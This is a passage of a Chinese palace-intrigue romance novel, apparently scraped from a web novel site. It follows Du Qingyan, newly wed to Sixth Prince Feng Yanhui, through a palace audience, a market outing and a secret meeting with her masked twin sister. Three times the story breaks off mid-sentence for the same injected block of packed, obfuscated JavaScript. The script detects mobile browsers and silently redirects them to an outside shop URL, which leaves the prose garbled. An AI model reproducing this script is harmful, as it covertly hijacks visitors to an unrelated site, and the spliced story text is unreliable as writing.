“你与阿昭很像,他也曾与我说过同样的话。” 若遇险境,要他先保全自身。 他记得年幼时他时常见她母亲带她与杜清若入宫,那时的她粉雕玉琢小小一团,十分乖巧,总要紧紧牵着杜清若的手,生怕丢了似的,她如今的性子倒与年幼时截然不同了。 杜清烟微愣随即垂眸轻笑:“我与表兄一样惟愿殿下平安无恙。” 凤燕回凝神注视着她,久久未曾移开眼,杜清烟仿若未觉,时不时探头往外瞧。 帝京繁华,荣盛长兴,行人如织熙熙攘攘,街道两旁摆满各色摊位,摊贩吆喝声不绝,一片兴兴向荣的景象。 杜清烟越瞧越欣喜,兴致勃勃道:“殿下,明日陪我出府可好?” 凤燕回并未立刻应答,神色有些无奈。 杜清烟未得到回应,侧头瞧了他一眼,随即坐回他身侧,轻轻扯了扯他的袖口,语重心长劝慰:“整日闷在府中于身心无益,殿下应多出来走走,日后我陪殿下一起。” 她并非与他商量,而是有了安排。 两年前凤燕回拖着半条命回京,却不知因何故在太和殿内与陛下起了争执,此后宫中便有传言说六皇子目无君上敢顶撞陛下,遭陛下厌弃,本应得到封赏也不了了之。 而六皇子负伤而归,曾在战场上威风凛凛的少年郎右手已残,连笔也握不住遑论执剑拿刀。 而此后两载陛下也如传言般不待见六殿下,君臣父子,疏离冷漠,再不复曾经的父慈子孝。 六皇子府门庭冷落,只有忠义侯府的小侯爷李砚舟与几位京中有名的纨绔世家子与六皇子偶有往来,而六皇子几乎是闭门不出。 杜清烟听到的有关凤燕回的传言只有这些,瞧方才凤燕回的反应,市井传言并非空穴来风。 凤燕回的目光落在他袖口处,纤纤玉手,细腻柔滑,从未有女子如她这般恣意不拘小节,不知不觉的亲昵之举她似乎不曾察觉到任何不妥。 对上她期待的目光,他竟无法拒绝,鬼使神差地答应了。 “好。” 杜清烟闻言一喜,掩下眸中得逞的狡黠,笑容里满是不谙世事的纯真。 “相府规矩繁多,这也不合规矩那也有失体统,在相府一年多,偌大相府我最熟悉的地方只有祠堂,三天两头罚跪……” 言至此,她话锋一转,斟酌道:“日后我出府是否也要向殿下请示?” 凤燕回道:“往后府中一应事务有你做主,出入自由,无人敢拦你。” 得到想要的答案,杜清烟心满意足笑了。 “如此便多谢殿下了。” 她笑容烂漫,凤燕回瞧着舒心,想到她方才说在相府过得不舒心,不禁心生怜惜。 “杜相待你不好?” 若是待她好,她又岂会三天两头跪祠堂,她自幼离京不同于京中的世家贵女养在深闺,习诗书礼易规矩教养,她定是习惯了自由自在,深宅大院中规矩束缚,她定然受了不少委屈。 提到杜相,杜清烟脸上笑容不在,只是摇了摇头,不欲多言。 凤燕回将她的反应看在眼里,心中已然确定她在相府的日子不好过,心绪微动,面上不显,却未抽衣袖。 她的舅父乃战功赫赫的平远大将军云震霄,母亲乃大将军胞妹,家世显赫,她本是千金贵女,金尊玉贵,受长辈疼爱,千娇万宠,舒心恣意。 是啊,她本该如此。 她嫁了他,亦该如此。 马车缓缓前行,车中两人皆未再言,明明是新婚夫妇,举止投足间却少了新婚燕尔的情意绵绵,安静的氛围中不免有几分尴尬。 好在马车很快行至宫门外,马车停下,卫风放下脚凳后恭声提醒。 “殿下,到了。” 凤燕回还未应声,杜清烟已掀帘而出,在卫风惊讶的目光中自行踩着脚凳利落下了马车,在她身上瞧不见半分娇弱。 紧随其后的凤燕回瞧见灵活的动作,不禁失笑,倒是许久不曾见过如此灵动的女子了。 新夫人没规没矩,自家殿下却在笑,那眼神里的温柔都快滴出水来了。 卫风心下腹诽:“不过一夜光景殿下便对这位新进门的夫人神魂颠倒,真真是奇了!” 两人踏入宫门,有內侍早已候着,上前与二人见礼后悄声与凤燕回说了句话。 入宫后,杜清烟敛了性子,端出温柔娴静的姿态落后半步与凤燕回同行,方才她并未听清內侍与凤燕回说了什么,观凤燕回神色如常,想来并非要紧事。 行至半途,杜清烟忽觉手上微凉触感传来,惊疑看去,竟是凤燕回主动牵了她的手。 抬眸看他,他也侧目看来,目光交汇,他嘴角弯弯,她顿时明白他的用意,回握住他。 內侍将他们引到了御花园外便行礼退下,凤燕回含笑看了她一眼牵着她往里走。 远远的便瞧见亭中有一男一女对弈,一抹明黄,一抹绛紫,亭外一众宫婢侍卫肃然静守。 杜清烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484767|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步顿了一下,凤燕回有所觉,捏了捏她的手心,温声道:“是父皇与贵妃娘娘。” 凤燕回牵着她在亭外站定,随后松开她的手,行了一礼。 “见过父皇。” “见过贵妃娘娘。” 杜清烟觉着他的态度着实有些敷衍了,可夫唱妇随,她也学他的样子请安行礼。 手执黑子的陛下仿若未闻,心思只在棋盘,正眼也未瞧一眼,倒是陪与陛下对弈的贵妃娘娘十分欢喜,见到他们来,也顾不得礼数,放下手中棋子便起身走出亭子。 “六郎,小烟儿,你们来了。” 贵妃娘娘虚扶了一下凤燕回,示意他免礼,轻轻握住了杜清烟的手,满眼慈爱。 “小烟儿长这般大了,容本宫好生瞧瞧。” 贵妃娘娘仔细打量她一番,眼眶蓦地红了,激动下语带哽咽,“与你母亲长得真像,真好。” 杜清烟见贵妃娘娘抹泪,一时无措,下意识看了凤燕回一眼。 此时亭中有棋子落地的响动传来,贵妃用帕子擦着泪,慌忙整理仪容,回到亭中。 “陛下,是臣妾失态了。” 贵妃娘娘嘴上说着失态,却不见慌乱,将方才被圣上扔向棋盘后砸落在地的棋子拾起放入棋奁内。 帝王威仪,寻常人岂敢直视,凤燕回立于原地一言不发,气氛僵持。 杜清烟小心翼翼地扯了扯凤燕回的袖口。 “殿下……” 帝王家君臣父子,到底是君臣在前,父子在后,示意他该服软时得服软。 听到杜清烟的声音,凤燕回默了默,终是弯下腰。 “因儿臣旧疾复发实在疼痛难忍,故而误了时辰,请父皇息怒。” 亭中一瞬寂静,落针可闻,一瞬后贵妃娘娘关切的声音再次传来。 “陛下不是命齐回春好生照看,好端端的怎会复发,六郎你上前来,让我瞧瞧。” 贵妃与先皇后情同姐妹,待凤燕回视如己出,人后只唤他六郎,听闻凤燕回旧疾复发,急得不行。 凤燕回对贵妃娘娘倒是恭顺。 “有烟儿悉心照顾,儿臣已无碍。” 贵妃娘娘闻言顿时松了口气,看向杜清烟的目光慈爱中多了几分赞许。 “小烟儿如你母亲一般有一双妙手,有你在六郎身边,本宫也安心些。” 杜清烟羞怯道:“贵妃娘娘谬赞,是殿下福泽深厚……” “小六。” 此时亭中帝王威严的声音传来,杜清烟立即噤声,作小心翼翼状窥探,冷不防对上陛下严厉的目光,赶忙垂首。 只听陛下严肃训道:“既已成家立室,往后该当沉稳些,莫要再浑浑噩噩度日,身为皇子,你当如太子一般替朕分忧。” 听到陛下此言,便是贵妃也怔了怔,随即露出喜色。 凤燕回恭敬道:“儿臣谨遵父皇教诲。” 陛下似是真不愿见凤燕回,训完后便抬臂撵他走。 “退下罢,朕瞧你这样就来气。” 贵妃娘娘瞧了瞧两人,似是有对他们交代,可碍于陛下还在,不好多言。 杜清烟与凤燕回行了告退礼后便出了宫。 此番入宫与杜清烟预想的不一样,世人皆传六皇子凤燕回不得圣宠,遭陛下厌弃,却不想竟是这样的。 陛下面前,凤燕回跪也不跪,敷衍散漫,最终也只是落了几句不痛不痒的训斥罢了。 不得宠是这样的光景,那得宠还不得翻了天。 难怪曾有传言说六皇子凤燕回年幼时甚是得宠,陛下连传国玉玺也舍得给他抛着玩。 此传言不知真假,但她觉得凤燕回还真是敢把玉玺抛着玩的主儿。 今日亲眼所见,杜清烟对皇帝与凤燕回的父子情有了另外一番认知。 而她所猜测的在翌日一早得到应证。 翌日一早,杜清烟亲自为凤燕回煎了药,在一旁瞧着他服下后立即递上温水让他净口。 她殷勤备至,体贴入微,凤燕回心知她必有所图,故意不提,想瞧瞧她接下来会如何。 未料,服侍他喝了药后她转身便离开,唤了卫风进屋替他更衣。 卫风顶着自家殿下审视的目光,手脚有些不灵活。 “殿下,您别这般盯着属下,是夫人唤属下来为您更衣的。” 他以为自家殿下想要夫人服侍却不好意思与夫人言明。 凤燕回扶额道:“你倒是听她的话。” 卫风赶忙表忠心:“属下只忠于殿下,而夫人是殿下的心尖尖儿,属下自然也听命于夫人。” 自打昨日知晓夫人能治殿下的右手后,他便暗自起誓日后为夫人肝脑涂地在所不辞。 凤燕回听了卫风所言,沉默良久。 他何时说过杜清烟是他的心尖尖儿了? 在凤燕回更换常服的间隙,杜清烟回屋换了身男装,她正欲开门出去,却见绿竹推门进来,神色匆忙。 “宫里来人了,我瞧见内官似是给了六殿下一道密旨,还与六殿下说了些什么,随后六殿下便带着卫风去了书房,书房外有暗卫守着,我无法靠近……” 5. 入心 昨日入宫请安时杜清烟便觉陛下与凤燕回父子俩间的相处氛围有些古怪。 世人皆传六皇子凤燕回失宠落魄,可他昨日在陛下面前敷衍冷淡,陛下仅仅训斥两句便作罢,不曾责罚,甚至还提了让凤燕回与太子一同参政一事。 反倒是凤燕回不甚上心的模样,而陛下训斥他时与寻常百姓家的父亲一样,苦口婆心一副恨铁不成钢的样子。 果然,传言不可尽信。 昨日陛下训斥提点了凤燕回,今日密旨便到了,想来是件大事。 杜清烟低声道:“往后遇见类似之事莫要往前凑,这府中瞧着守卫松散懈怠,杂乱无章,其实不然,你我日后行事更要小心些。” 绿竹神色微变,点头应道:“日后行事我会多加小心的。” “嗯。”杜清烟拂了拂绿竹肩上的发丝,轻声吩咐:“晚些时候你寻个由头出府,去找林姑姑,请她过府一叙。” 林春随杜清若去了太子府,但林春的身份摆在那里,太子对她也要礼让三分,有她护着,杜清若在太子府才不会受委屈。 杜清若回门那日林姑姑陪同一起回了趟相府,那时人多眼杂,杜清烟与林姑姑无法说太多话。 此番杜清烟确实是有要紧事同林姑姑商议。 绿竹应声后退下。 杜清烟一身男子打扮去寻凤燕回。 她并未直接去书房,而是去了凤燕回的寝屋,新婚之夜后,凤燕回依旧住他的寝屋,新房则成了她的屋。 去到凤燕回寝屋外的院中,杜清烟假意轻咳一声,弄出动静,静待片刻无人回应,她便上前敲门。 “殿下?”她试探地唤了一声。 无人应答,她又敲了两下后才抬手推门。 轻轻一推门便开了,她探头往里瞧了瞧,遂才抬脚跨过门槛往屋里走。 她方进屋,身后便传来卫风的声音。 “夫人,殿下在书房。” 杜清烟脚步一顿,卫风突然出声吓了她一跳,她拍了拍心口,转过身还不忘瞪卫风一眼。 “人吓人吓死人。” 卫风忙请罪:“属下知罪,望夫人见谅。” 杜清烟摆手道:“不知者无罪,免了免了。” 见自家主母如此善良大度,卫风心中越发惭愧,方才他还在殿下面前说夫人可疑来着。 方才他瞥见夫人的贴身婢女绿竹鬼鬼祟祟跟在身后,一路尾随到了书房附近,甚是可疑,于是便与殿下提了一嘴。 可观方才夫人那样,分明并不知殿下在书房,遂才到殿下的寝屋寻人。 卫风恭敬道:“请夫人随属下前往书房,殿下在书房等您。” 杜清烟应了一声,示意他往前带路。 卫风走在前面,没敢走太急,与她保持适当的距离,又不能离太远。 走到回廊上,卫风状似不经意问:“怎不见夫人身边的绿竹丫头?” 杜清烟莞尔道:“绿竹自小与我一同长大,说是我的婢女,实则在我心里她与亲妹无异,她自幼长在乡野,自由自在惯了,后来随我回京入了相府,一年多怕是憋坏了,如今随我来了这里,定是对府中诸多好奇,整日四处乱逛,离了相府我便不拘着她了。” 听到卫风有此一问,她便知绿竹方才怕是暴露了。 好在她早已想好说辞,糊弄卫风应当是够的。 卫风闻言不禁尴尬挠头,支吾道:“原、原来如此,夫人待绿竹当真极好……” 行至回廊转角处,杜清烟似是想起什么,犹疑问道:“这府中可有旁人不能去的禁地?” 卫风怔了一瞬,随即道:“殿下吩咐过,夫人是当家主母,府中任何地方都您都去得。” 杜清烟松了口气,微微一笑:“如此我便安心了,我寻思着若是有,定要与绿竹交代清楚,那丫头闲不住,好奇心重,怕她误闯惹祸。” 卫风也暗自舒了口气。 他以为夫人看出什么来了,若是被夫人知晓他怀疑过绿竹,那以夫人对绿竹的维护,多半是要记恨他的。 夫人记恨他不打紧,怕就怕夫人因他而迁怒到殿下。 殿下的手还指望夫人呢,他可不能给殿下扯后腿。 卫风将杜清烟带到书房外,恭敬退到一旁,书房门开着,她瞧了卫风一眼后便自行走了进去。 跨进书房,入眼是一道漆木双彩画屏风,画中仙鹤栩栩如生,振翅欲飞。 杜清烟不禁愣神。 在她愣神之际,屏风后走出一道俊郎挺拔的身影,她神色立即如常,扬起一抹笑。 “殿下昨日答应我的可还作数?” 凤燕回的目光在她身上停留许久,即便作男子装扮,依旧瞧得出她腰身纤细,面容秀丽,一双灵动的眼眸神采飞扬,让他无法移开眼,如何能拒绝她的请求。 他勾唇道:“自然作数。” 杜清烟闻言欢喜不已,上前抓住他的手,兴冲冲拽着他往外走。 “殿下莫要磨蹭了,快些走,去晚了可就喝不到新鲜热乎的羊汤了。” 凤燕回:“……” 她如此着急竟只是为了喝羊汤? 见自家殿下与夫人手牵手自书房中出来,卫风的笑都快咧到耳朵根了。 “殿下,属下这就去备马车。” 杜清烟头也没回,一手拽着凤燕回,一手摆了摆,“不必麻烦,我与殿下去街上走走。” 卫风笑着应了一声是,转身去安排暗卫暗中随行保护。 自家殿下许久不曾外出了,夫人一进门,殿下的日子再不像先前那般枯燥无味了。 行至府外,杜清烟立即松开手,与凤燕回并肩行走,她想起方才见到的屏风,思索一番,终是忍不住好奇。 “我瞧见殿下书房里的那道屏风有些与众不同,不知是何来历?” 凤燕回瞧了她一眼,再看向前方时是,神色悠悠,像是陷入回忆。 “那道屏风乃阿昭所赠。” 说是云昭所赠,实则是他从云昭那儿赢来的,那道屏风云昭当珍宝护着,是他试了计赢来的。 犹记他拿走屏风时云昭那一脸懊悔样,事后几天不理他。 他也曾问过云昭关于屏风的来历,云昭只道是一位故人所赠,其余只字不肯多言。 杜清烟低喃:“难怪… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484768|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 凤燕回离她近,自然听清了她的喃喃低语,脚步微顿,侧头瞧她。 “你可是知晓那屏风的来历?” 杜清烟笑了笑,如实道:“那屏风是兄长及冠时我赠他的及冠礼。” 凤燕回愣住,眼中满是惊讶之色,他自然明白她口中的兄长说的是云昭昭。 屏风竟是她赠与云昭的。 杜清烟笑了笑,笑容里多了几分怀念与怅然,“兄长及冠时我想不出该送他什么好,便去街头闲逛,偶然瞧见一家茶楼里的屏风甚是雅致,随即便想着给兄长送一份与众不同的及冠礼。” 屏风上的仙鹤乃她亲笔所画,亦是她此生最拿得出手的丹青。 却不知经年之后还能再见到这道屏风,物是人非大抵如此,再见旧物,只余伤怀。 凤燕回亦有些感怀,久久不言。 杜清烟先收好情绪,扯了扯凤燕回的袖口,微仰看他,笑靥如花。 “殿下,这便是你我的缘分。” 凤燕回心头一震,心弦撩动,他仿佛听见了怦怦的心跳声。 她娇俏的笑颜无声印在了他心上。 “殿下莫要在磨蹭了。”她改为抓住他的手腕拽着他疾步而行,边走边念叨:“再磨蹭下去,羊汤喝不上了。” 她心心念念喝羊汤,仿佛方才只是他的臆想,她不曾有意无意撩拨他的心弦,不曾与他说姻缘…… 杜清烟心心念的羊汤到底是喝了,喝汤时她与凤燕回说起了她回相府前的事。 平远将军云震霄与其夫人忠肝义胆,为护平城百姓与蛮夷死战,将蛮夷主力引至无望崖,夫妇二人最终坠入无望崖。尸骨无存。 而平远将军独子云昭则与六皇子凤燕回镇守黑陀城,待平城的求援消息传到黑陀城时已经迟了。 云将军给云昭下达的最后军令是要云昭将凤燕回平安护送回京。 凤燕回回京了,可云昭下落不明。 “舅父舅母与阿昭兄长的噩耗接连传来,外祖父受不住打击一病不起,世人皆赞外祖父是再世神医,他救了许多人,却救不了他自己……” 杜清烟眼中盈满水雾,声音哽咽:“林姑姑知晓外祖父故去后便接我回京,在回到相府前,她领我来此处喝了羊汤。” 凤燕回眼尾泛红,去也只是默默听着。 杜清烟吸了吸气,红着眼对他笑。 “殿下你瞧,我与你一样孤苦,可那又如何,你我定然会比那些作恶之人活得久。” 凤燕回抬起左手,用衣袖为她擦拭眼角的泪痕,嗓音沙哑:“嗯,有朝一日,我定然会……” 他未曾言明的话语却是对她的承诺,他苟延残喘活下来,血仇未报,奸佞未除,他不敢死也不能死。 杜清烟含泪而笑,郑重道:“我信殿下。” 二人喝完羊汤后,杜清烟带着凤燕回去了珍馐如意楼,点了烧鸡烧鹅,又叫了两坛桃花酿,又去食味斋买了许多糕点吃食。 卫风与随行的护卫也派上了用场,夫人指什么他便拿什么,顺带掏银子。 殿下为博夫人一笑,一掷千金也无妨,他瞧着也十分舒心。 6. 姻缘早定 秋日清晨日照和煦,万里无云,碧空如洗,繁华热闹的早市,行人摩肩接踵,人声鼎沸。 杜清烟穿梭于人群中,时不时回首张望凤燕回是否跟紧了。 凤燕回与她不同,她入市井如鱼儿入水恣意快活,走走停停,东摸摸西西瞧瞧,若瞧见有趣的小玩意儿便在小摊前停留,凤燕回上去为她取下,卫风会意掏出钱袋。 卫风以为夫人瞧上的这些吃食与小玩意儿是她喜欢的,稍后许是要带回府,岂料半个时辰后他便傻眼了。 西市逛到头,杜清烟便又拉着凤燕回去了南市而去,相比西市的喧嚣热闹,南市要冷清许多。 而杜清烟不再往人多的街市上走,而是拉着凤燕回穿过巷子,七拐八拐来到一处宅院外。 卫风与一众随行的护卫不明所以,就见杜清烟已上前敲门。 不多时,一年过半百,须发花白的老者开门出来,见到杜清烟,恭敬行了一礼,欢喜邀她入宅。 杜清烟与老者交代了几句,老者先行退去,而后她转身朝卫风吩咐道:“卫风,你带两人随我与殿下一同进去,其余人在外候着便是。” 末了她又交代将方才买的吃食全部拿进去,却不忘留下一坛酒与一只烧鸡给守在外面的几人。 卫风不明所以,下意识看向自家殿下,得殿下默许后他按杜清烟的吩咐办事。 杜清烟折回身,再次拉住凤燕回的手,笑盈盈道:“殿下,此处曾是我姑……我母亲名下一处私宅,今日我带殿下来此是为殿下引荐一人。” 凤燕回疑惑看她,却未多问,任由她拉着往里走,卫风带着两名护卫跟随其后。 一座三进的院子,布局陈设尽显风雅别致,可见宅子的主人是一位雅人韵士。 杜清烟带着凤燕回去了堂屋,他们方一进屋,便有婢女端上茶水。 “姑娘,公子与瑶姑娘随后就到,您与贵人稍等片刻。” 杜清烟点了点头,婢女退下后她与凤燕回先行坐下喝茶。 见凤燕回始终云淡风轻的样子,杜清烟促狭道:“殿下为何不问我要引荐何人?” 凤燕回平静道:“一会儿便知,无须多问。” 杜清烟嗔他一眼:“换作旁的男子,定是要先说两句哄人开心的,殿下当真是无趣得紧。” 凤燕回抿茶的动作微顿,茶香四溢,他却无心茗品,思绪因她的话语有些飘忽。 察觉到他的心不在焉,杜清烟不再逗弄他,饮了口茶,一口饮半盏。 片刻后外面传来轻微的脚步声,由远及近,听得出是两个人的。 杜清烟抬眼望去,一文质彬彬的青衫公子摇着折扇春风拂面般眉眼带笑,他身旁的红衣女子高挑纤瘦,面容大半被挡在银色面具后,瞧不见真容。 “听云伯说浓浓来了?” 比人先到的是青衫公子的声音,秋意渐凉,他却始终风雅,折扇一张一合,甚是潇洒风流。 杜清烟笑了笑,最先瞧的却是青衫公子身旁的红衣女子,见她望来,杜清烟站起身朝她招手。 “阿瑶,我方才去西市买了烧鹅,还带了坛清风酒肆的桃花酿,你喜爱的吃食点心也有。” 红衣女子闻言嘴角上扬,面具后露出的眼睛闪着亮光,她却未言语,只点了点头。 被冷落的青衫公子哀怨叹气。 “唉,浓浓每回只记挂阿瑶,为兄真是好生伤心,你记得阿瑶的桃花酿,为何不顺带给为兄带一坛上好的女儿红?” 杜清烟扬声唤卫风,在外候着的卫风适时将她方才点到的那些吃食全部奉上,卫风退下时小心翼翼瞄了眼自家殿下。 莫名心疼殿下,夫人买下这许多吃食竟无一样是给殿下的。 云瑶行事利落干练,卫风送进来的吃食她只挑了喜爱的拿走,不是特别喜欢的一样不拿。 她拿了就走,只与杜清烟对视了一眼便独自离开了。 青衫公子走过去瞧了瞧,烧鹅被云瑶单手举着托盘拿走了,桃花酿也拿了,几样吃食点心可怜兮兮地搁在桌面上。 他随意拿了样尝了尝,嫌弃撇嘴:“甜腻腻的,也不知阿瑶为何喜欢。” 杜清烟笑了笑,抬手示意他走近些,青衫公子顿时一脸警惕,却又下意识朝她凑过去,还未等到他反应,耳朵已被紧紧揪住。 熟悉的痛感传来,青衫公子‘唉哟唉哟’叫着,歪着脑袋想挣脱又无法挣脱,识时务地告饶起来,“浓浓祖宗、姑奶奶你轻些,耳朵要掉了。” 杜清烟只是小小惩戒,并未下狠手,他告饶她便松了手。 “林书琰,殿下面前你正经些。”她提醒道。 林书琰揉了揉耳朵,随即整理仪容,恭恭敬敬朝凤燕回行了一礼。 “草民林书琰见过六殿下。” 凤燕回道:“林公子无需多礼。” 林书琰收起与杜清烟相处时的嬉皮笑脸,端出正经模样,在凤燕回的示意下入座,与他聊起了正经事。 杜清烟在林书琰落座后便起身离开,跨出屋门后又探头进来与凤燕回知会了一声。 “殿下,我去找阿瑶,你俩谈完了让卫风来叫我。” 凤燕回勾唇:“嗯。” 惜字如金,却让杜清烟满意了。 她一溜烟跑远,守在屋外的卫风瞧瞧屋里又瞧瞧她离去的方向,有些摸不着头脑。 那红衣女子究竟是何身份,戴着面具神神秘秘的,莫不是容貌有损,遂才以面具遮面。 杜清烟直奔内院,远远便瞧见石桌前坐着的火红身影,她扑过去,红衣女子正好起身接了个满怀。 二人身量想当,只不过云瑶自幼习武,下盘稳,每回都能将杜清烟稳稳接住。 “阿瑶,许久未见,我好想你啊。”杜清烟如孩童般在云瑶怀中撒娇。 云瑶宠溺地拍了拍她的背,低声斥道:“没大没小,我是你姐姐。” 杜清烟黏在云瑶怀中嘿嘿笑:“阿瑶只比我早出生半刻钟罢了,且娘亲也说她不记得我俩是不是抱混了,指不定我才是姐姐呢。” 云瑶下意识往四周观望一番,生怕隔墙有耳,不过此处是云家的地盘,别人要想进内院是不可能的。 许久未见,此时姐妹二人有许多话想说。 杜清烟为云瑶摘下面具,啧声叹道:“每回瞧见阿瑶的脸我都像是再照镜子。” 面具摘下,云瑶的整张脸露了出来,除了眼角有颗泪痣外,她与杜清烟竟有八九分相似,若是经过刻意装扮,几乎是一模一样。 她俩乃一母同胞的亲姐妹,自然长得极像。 云瑶扯下烧鹅的一只腿先递给杜清烟,随即又将桃花酿揭开,斟满一杯先推到杜清烟面前,而后她也斟满一杯一饮而尽。 饮下桃花酿,云瑶吃起烧鹅,确实如杜清烟心中说的,这家的烧鹅味道一绝。 杜清烟举杯与云瑶碰杯,饮了一口,又啃一嘴烧鹅,无比满足地叹息:“终于得了自由,当真是畅快。” 云瑶却不若她这般开怀,瞧着她天真无邪的样子,愁绪万分。 “你与六殿下成亲一事我始终觉得欠妥,即便他时爹的得意弟子,可终究是天家人,日后若是……爹娘早前的安排便是要你我远离皇室纷扰,可如今你却嫁了六殿下,先前我便不该答应你顶替我进相府的,若去相府的人是我……” “阿瑶。”杜清烟轻轻唤了她一声,打断了她的话,“我入相府是最好的安排,你我长相与姑姑相似,但我的性格与姑姑更像些,相府那样的地方,我去比你去合适。” 杜清烟顿了顿后继续道:“至于我与六殿下的亲事,一切只是因缘际会,我若不嫁六殿下,也是要进太子府的,如今阿若进了太子府,我们先前所计划的便需要变一变。” “阿若她……” 提到另一个妹妹,云瑶满眼愧色,幼时她曾经答应过阿若,无论何时都会保护她。 可终究事与愿违,两个妹妹她一个也未能保护好。 姑姑若是在天有灵大抵是会怪她的罢,作为姐姐她谁也没能护住。 杜清烟见她神色异样,安慰道:“阿若那边有林姑姑照看,阿瑶无需担忧,她出嫁前我已安排好一切,她知我的计划,会听我安排得。” 云瑶闻言这才放心了些,与杜清烟说起了正事。 “浓浓,平城怕是要乱了。” 平城曾是她们父亲镇守的边塞要地,可两年前父亲母亲出事后便由后续赶来支援的御江王镇守,这两年平城并不太平。 林书琰才从平城回来,平城中的情况他很是清楚,遂才马不停蹄赶回来,原本林书琰与云瑶能在杜清烟与凤燕回大婚前赶回的,但中间出了岔子,待他们抵达京都时,一切已成定局。 杜清烟若有所思道:“六殿下应已知晓平城之事,若他前往平城,我想法子让他带我一起,届时你与书琰便在京中,若阿若在太子府有事,也有人照应,再者这些年书琰与林姑姑聚少离多,他留在京中也能与林姑姑多见几面。” 云瑶却道:“他留下,我随你一同去平城,我想去找寻父亲母亲,即便是他们真的已经……生要见人死要见尸,我们定能将他们寻回的。” 杜清烟摇头,凑一斤云瑶耳边低语几句,云瑶的表情从疑惑到震惊再到惊喜。 “兄长还活着!” 喜出望外她的声音陡然拔高,杜清烟赶忙捂住她的嘴,有些无奈道:“一会儿被旁人听了去,我们所谋划的一切可就白费了。” 云瑶激动难平,捂住嘴,眼中含泪,哽咽问:“你方才所言可是真的?” 杜清烟点头道:“我也是前些日子才收到消息,有人曾在丰州城见过一男子与兄长长得极相像,此事暂时无法确定,但只要有消息便是好的。” 云瑶闻言激动落泪,顿时改了主意,着急道:“我明日一早便启程去丰州城,啊不,我稍后便启程出发,早一些到或许能早一点找到兄长。” 知晓她心急,杜清烟也着急担忧,但她的性子向来要比云瑶沉稳,所思所虑也要周全得多,这也是为何她要顶替云瑶回到相府。 “你莫急,寻找兄长一事不可大张旗鼓,需得暗中进行,若是兄长还活着的消息传出去,怕是会给他带去杀身之祸,回头你与书琰商议一下,你听书琰的安排行事,今日我与殿下外出无法在此处久留,后续有变,我会想法子让绿竹传信给你们的。” 杜清烟交代好一切后,顶着薄红的脸去寻凤燕回,而另一边凤燕回林书琰也交谈完毕,达成共识。 分别是云瑶未曾出现,杜清烟对林书琰道,“照顾好阿瑶。” 林书琰点了点头,从袖中掏出厚厚一沓银票塞给她。 “莫要委屈了自个儿。” 林书琰说这话时是瞧着凤燕回说的,暗示的意味明显。 杜清烟不曾推拒,收下了林书琰给的银票。 回府途中,杜清烟出奇安静,凤燕回瞧了她好几眼她都一无所觉。 直到她感觉手被人牵住,她讶然抬眼看向凤燕回,疑惑道:“殿下?” 凤燕回牵着她走,并未正眼瞧她,杜清烟何等机灵,自然一眼看出他的不对劲。 主动牵她的手,他的耳朵却红了。 杜清烟看了看两人握在一起的手,无声笑了起来,她的夫君甚是可爱呢。 “殿下若是一路牵着我回府,明日京中大抵会传出殿下是断袖的传言。” 感觉握着她手的力道紧了紧,杜清烟又道:“殿下为我背负这样的名声,我着实过意不去。” 此时凤燕回突然出声:“那你想如何?” 杜清烟被问得一愣,随即忍不住笑出声来:“自然是以身相许啊,殿下对我如此情深意浓,我岂能辜负殿下的情意。” 凤燕回无言以对。 回到府中,杜清烟回了自己的屋,翻出一堆瓶瓶罐罐,一阵捣鼓之后又作好分类,交代绿竹一些事后她便往榻上一趟,开始闭目养神。 凤燕回进屋时便瞧见这样一幕,美人卧榻而眠,悠闲散漫,换回女装的她看着娇弱纤瘦,颇有弱柳扶风之态。 绿竹行了礼后退了出去,犹豫了一下还是将房门合上了。 凤燕回来到塌边,居高临下看着榻上的女子,打量许久,榻上之人终是不堪其扰,睁眼瞧他。 “殿下还要看到何时?” 凤燕回理直气壮道:“我明媒正娶的夫人想看到何时便看到何时。” 杜清烟笑了,支起身坐好,拍了拍身旁的位置,凤燕回也真坐下了,两人紧挨着坐在一张榻上,这是新婚之夜后二人第一次如此亲密。 瞧着镇定得凤燕回身子绷得紧紧的,杜清烟就在他身侧,自然是一清二楚,她偏要故意逗弄他。 她侧过身去,双手搭在他肩头,一手顺着肩头往下俯身他的胸口,一路往下至他腰间,在玉带上轻轻摩挲,故意凑近耳旁吐气如兰。 “殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484769|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下莫不是想自荐枕席?” 凤燕回整个人僵住,捕捉到她眼中的促狭,他放松下来,捉住她的手,唇角微扬。 “夫人意下如何?” 这下轮到杜清烟怔愣了,她猛地抽回手,往一旁挪了挪,“我与殿下说笑的,殿下莫要当真。” 凤燕回凝视她良久,忽然问:“从始至终你在我面前只是虚情假意,是也不是?” 杜清烟怔然:“殿下何故有此一问?” 